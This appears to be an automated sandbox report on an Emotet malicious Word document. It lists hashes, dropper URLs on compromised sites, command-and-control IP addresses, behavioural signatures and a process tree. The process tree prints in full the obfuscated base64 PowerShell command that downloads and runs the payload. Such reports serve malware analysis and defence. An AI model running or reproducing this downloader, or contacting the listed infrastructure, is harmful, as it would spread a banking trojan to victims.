Overview

overview

10

Static

static

8

emotet_e1_...oc.doc

windows7_x64

10

emotet_e1_...oc.doc

windows10_x64

10

Analysis

  • max time kernel
    123s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7
  • submitted
    21/09/2020, 13:26

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    emotet_e1_04136b8270e1d84f73c175123aa7f38165f56bd7641fb172dca3caa593f6546d_2020-09-21__132423654382._doc.doc
  • Size 213KB
  • Sample200921-hsdkfmsrjj
  • SHA256 04136b8270e1d84f73c175123aa7f38165f56bd7641fb172dca3caa593f6546d
  • MD5 SHA1 SHA512
Score
10/10
trojanbankeremotet

Malware Config

Extracted

Language

  • ps1

Source
URLs
  • exe.dropper

    http://swadgaar.com/wp-admin/f3qB/
  • exe.dropper

    http://oxeir.com/wp-admin/T/
  • exe.dropper

    http://prosperahertz.com/wp-admin/AnnaV/
  • exe.dropper

    http://banglashikhon.com/wp-content/XxI3wH/
  • exe.dropper

    http://iamcyteese.com/wordpress/twv0L/
  • exe.dropper

    http://homehm.xyz/wp-admin/hchhm/
  • exe.dropper

    http://dev.internal.dextrousinfosolutions.com/niamh-quirke-solicitors/g/

Extracted

Family

  • emotet

C2

  • 24.43.32.186:80

  • 38.111.46.46:8080

  • 134.209.36.254:8080

  • 162.241.242.173:8080

  • 74.120.55.163:80

  • 61.92.17.12:80

  • 219.74.18.66:443

  • 156.155.166.221:80

  • 104.131.44.150:8080

  • 37.139.21.175:8080

  • 94.1.108.190:443

  • 169.239.182.217:8080

  • 220.245.198.194:80

  • 139.99.158.11:443

  • 91.211.88.52:7080

  • 62.75.141.82:80

  • 174.45.13.118:80

  • 137.119.36.33:80

  • 188.219.31.12:80

  • 103.86.49.11:8080

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

    trojanbankeremotet
  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 8 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 2 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies registry class 280 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 4 IoCs
  • Suspicious use of WriteProcessMemory 8 IoCs

Processes

  • C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_04136b8270e1d84f73c175123aa7f38165f56bd7641fb172dca3caa593f6546d_2020-09-21__132423654382._doc.doc"
    1⤵
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:1500
  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell -en JABNAG4AdgAyAHoAaABtAD0AKAAnAEIAJwArACcAOQBxACcAKwAoACcAdwB0ACcAKwAnADAAYgAnACkAKQA7ACYAKAAnAG4AZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdQBTAEUAcgBwAFIATwBmAEkAbABlAFwAcQBlAGMAVABlAF8ATABcAGQARwBFAEQAMwBRAGoAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIARQBDAFQATwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAGAAVQByAGkAVABgAHkAcABSAGAAbwBgAFQAbwBjAE8ATAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKwAnACwAIAAnACsAKAAnAHQAbABzACcAKwAnADEAMQAsACcAKQArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABKAG8AaQB6AGIAdgBxACAAPQAgACgAKAAnAFUAcgAnACsAJwA3ACcAKQArACgAJwA0AHIAJwArACcAcQAnACkAKQA7ACQAWgAyAGIAdQB4AG8AOAA9ACgAKAAnAFgAZgAnACsAJwByAGkAeQBhACcAKQArACcAMQAnACkAOwAkAFoAYwBfAHkANQB0AGEAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAVQAnACsAKAAnADgAJwArACcAbgBRACcAKQArACgAJwBlACcAKwAnAGMAdABlAF8AbABVADgAbgBEAGcAZQAnACsAJwBkADMAJwArACcAcQBqACcAKQArACcAVQAnACsAJwA4AG4AJwApAC4AIgBSAEUAcABgAGwAYABBAEMAZQAiACgAKAAnAFUAJwArACcAOABuACcAKQAsACcAXAAnACkAKQArACQASgBvAGkAegBiAHYAcQArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAEwANAAwAHMAZwB1ADEAPQAoACgAJwBFACcAKwAnAGUANwBsAGwAdgAnACkAKwAnAHIAJwApADsAJABJAHEAOQB2ADQAegA3AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagAnACsAJwBlAGMAdAAnACkAIABOAEUAVAAuAFcAZQBiAEMATABpAGUATgBUADsAJABRAGIAXwA0AGEAMwB5AD0AKAAoACcAaAB0AHQAcAAnACsAJwA6AC8AJwArACcALwBzAHcAYQAnACkAKwAoACcAZABnAGEAYQByAC4AYwBvAG0AJwArACcALwAnACsAJwB3AHAAJwArACcALQAnACkAKwAoACcAYQBkAG0AaQAnACsAJwBuAC8AJwArACcAZgAzACcAKQArACgAJwBxAEIAJwArACcALwAnACkAKwAoACcAKgBoAHQAdABwACcAKwAnADoALwAvAG8AJwArACcAeABlAGkAcgAuAGMAbwAnACsAJwBtACcAKQArACcALwB3ACcAKwAnAHAAJwArACgAJwAtAGEAZAAnACsAJwBtAGkAJwArACcAbgAnACkAKwAoACcALwBUACcAKwAnAC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAJwArACcAcAA6ACcAKwAnAC8ALwAnACsAJwBwAHIAbwBzACcAKwAnAHAAZQByAGEAaABlAHIAJwArACcAdAB6ACcAKwAnAC4AYwBvAG0ALwB3AHAALQBhACcAKwAnAGQAJwArACcAbQBpACcAKwAnAG4ALwBBAG4AJwArACcAbgBhACcAKQArACgAJwBWACcAKwAnAC8AKgBoACcAKQArACgAJwB0AHQAcAA6AC8AJwArACcALwAnACkAKwAoACcAYgBhAG4AZwBsACcAKwAnAGEAJwApACsAJwBzACcAKwAoACcAaAAnACsAJwBpAGsAaAAnACkAKwAoACcAbwAnACsAJwBuAC4AJwApACsAKAAnAGMAJwArACcAbwBtACcAKQArACgAJwAvAHcAJwArACcAcAAtAGMAbwBuACcAKQArACcAdABlACcAKwAoACcAbgB0AC8AJwArACcAWAAnACkAKwAoACcAeAAnACsAJwBJADMAdwAnACkAKwAoACcASAAvACcAKwAnACoAaAB0AHQAcAA6ACcAKwAnAC8ALwAnACsAJwBpAGEAbQBjAHkAJwApACsAKAAnAHQAZQBlACcAKwAnAHMAZQAuAGMAJwArACcAbwAnACkAKwAoACcAbQAvAHcAJwArACcAbwByACcAKQArACgAJwBkAHAAJwArACcAcgBlACcAKQArACcAcwAnACsAKAAnAHMALwAnACsAJwB0ACcAKwAnAHcAdgAwACcAKwAnAEwALwAqAGgAJwArACcAdAB0AHAAJwArACcAOgAnACsAJwAvAC8AaABvAG0AZQBoACcAKQArACcAbQAnACsAKAAnAC4AeAAnACsAJwB5ACcAKQArACgAJwB6AC8AdwBwACcAKwAnAC0AYQBkACcAKwAnAG0AaQBuACcAKQArACgAJwAvAGgAJwArACcAYwBoACcAKQArACgAJwBoACcAKwAnAG0ALwAqAGgAJwArACcAdAB0ACcAKQArACgAJwBwADoALwAnACsAJwAvAGQAZQB2ACcAKQArACcALgBpACcAKwAnAG4AJwArACgAJwB0ACcAKwAnAGUAcgAnACkAKwAnAG4AYQAnACsAKAAnAGwALgAnACsAJwBkAGUAeAAnACkAKwAoACcAdAByAG8AJwArACcAdQAnACkAKwAnAHMAaQAnACsAJwBuAGYAJwArACgAJwBvAHMAbwBsAHUAJwArACcAdABpACcAKwAnAG8AbgBzAC4AYwAnACsAJwBvAG0ALwAnACsAJwBuAGkAYQAnACkAKwAnAG0AJwArACgAJwBoAC0AcQAnACsAJwB1AGkAcgBrACcAKQArACcAZQAnACsAKAAnAC0AcwBvAGwAaQAnACsAJwBjACcAKQArACcAaQAnACsAKAAnAHQAbwByAHMAJwArACcALwBnAC8AJwApACkALgAiAFMAcABMAGAAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQQA4AHcAXwB5AHkAegA9ACgAKAAnAEQAdwB0AHIAJwArACcAYwAnACkAKwAnADEAbwAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABWAGkAcgBzADkAdQAwACAAaQBuACAAJABRAGIAXwA0AGEAMwB5ACkAewB0AHIAeQB7ACQASQBxADkAdgA0AHoANwAuACIARABgAE8AdwBgAE4ATABvAGAAQQBkAEYAaQBMAGUAIgAoACQAVgBpAHIAcwA5AHUAMAAsACAAJABaAGMAXwB5ADUAdABhACkAOwAkAEIAZwBxAF8AdAA5AGoAPQAoACcAQQB5ACcAKwAoACcAbgBzACcAKwAnAHQAJwApACsAJwB2AGEAJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQAnACsAJwB0ACcAKwAnAC0ASQB0AGUAbQAnACkAIAAkAFoAYwBfAHkANQB0AGEAKQAuACIAbABlAG4AYABnAFQAaAAiACAALQBnAGUAIAAyADYAOAA2ADMAKQAgAHsAJgAoACcASQBuAHYAJwArACcAbwBrAGUALQAnACsAJwBJACcAKwAnAHQAZQBtACcAKQAoACQAWgBjAF8AeQA1AHQAYQApADsAJABFAGgAMgBwADEAeAA0AD0AKAAoACcARwAnACsAJwBuAHYAYgBpAG0AJwApACsAJwByACcAKQA7AGIAcgBlAGEAawA7ACQAUgBqAGUAZQByADMAZAA9ACgAKAAnAEUAMAAnACsAJwBhACcAKQArACcAawBoACcAKwAnAGcAdQAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEUAMwA4AHMAeAA0AG0APQAoACcAUgA4ACcAKwAoACcAagAnACsAJwB2AHoAJwApACsAJwBvADQAJwApAA==
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1640
    • C:\Users\Admin\Qecte_l\Dged3qj\Ur74rq.exe
      "C:\Users\Admin\Qecte_l\Dged3qj\Ur74rq.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1108
      • C:\Windows\SysWOW64\KBDTH0\SampleRes.exe
        "C:\Windows\SysWOW64\KBDTH0\SampleRes.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:736

Network

        MITRE ATT&CK Matrix

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        memory/736-22-0x0000000000280000-0x0000000000290000-memory.dmp
        Download

        memory/736-21-0x0000000000250000-0x0000000000262000-memory.dmp
        Download

        memory/1108-17-0x0000000000390000-0x00000000003A2000-memory.dmp
        Download

        memory/1108-18-0x00000000002E0000-0x00000000002F0000-memory.dmp
        Download

        memory/1132-23-0x000007FEF2C70000-0x000007FEF2EEA000-memory.dmp
        Download

        memory/1500-2-0x0000000008850000-0x0000000008854000-memory.dmp
        Download

        memory/1500-5-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1500-3-0x0000000006C60000-0x0000000006E60000-memory.dmp
        Download

        memory/1640-10-0x0000000002820000-0x0000000002821000-memory.dmp
        Download

        memory/1640-9-0x000000001AA00000-0x000000001AA01000-memory.dmp
        Download

        memory/1640-11-0x00000000022B0000-0x00000000022B1000-memory.dmp
        Download

        memory/1640-13-0x000000001B690000-0x000000001B691000-memory.dmp
        Download

        memory/1640-8-0x0000000001F10000-0x0000000001F11000-memory.dmp
        Download

        memory/1640-7-0x000007FEF1510000-0x000007FEF1EFC000-memory.dmp
        Download

        memory/1640-12-0x000000001B3E0000-0x000000001B3E1000-memory.dmp
        Download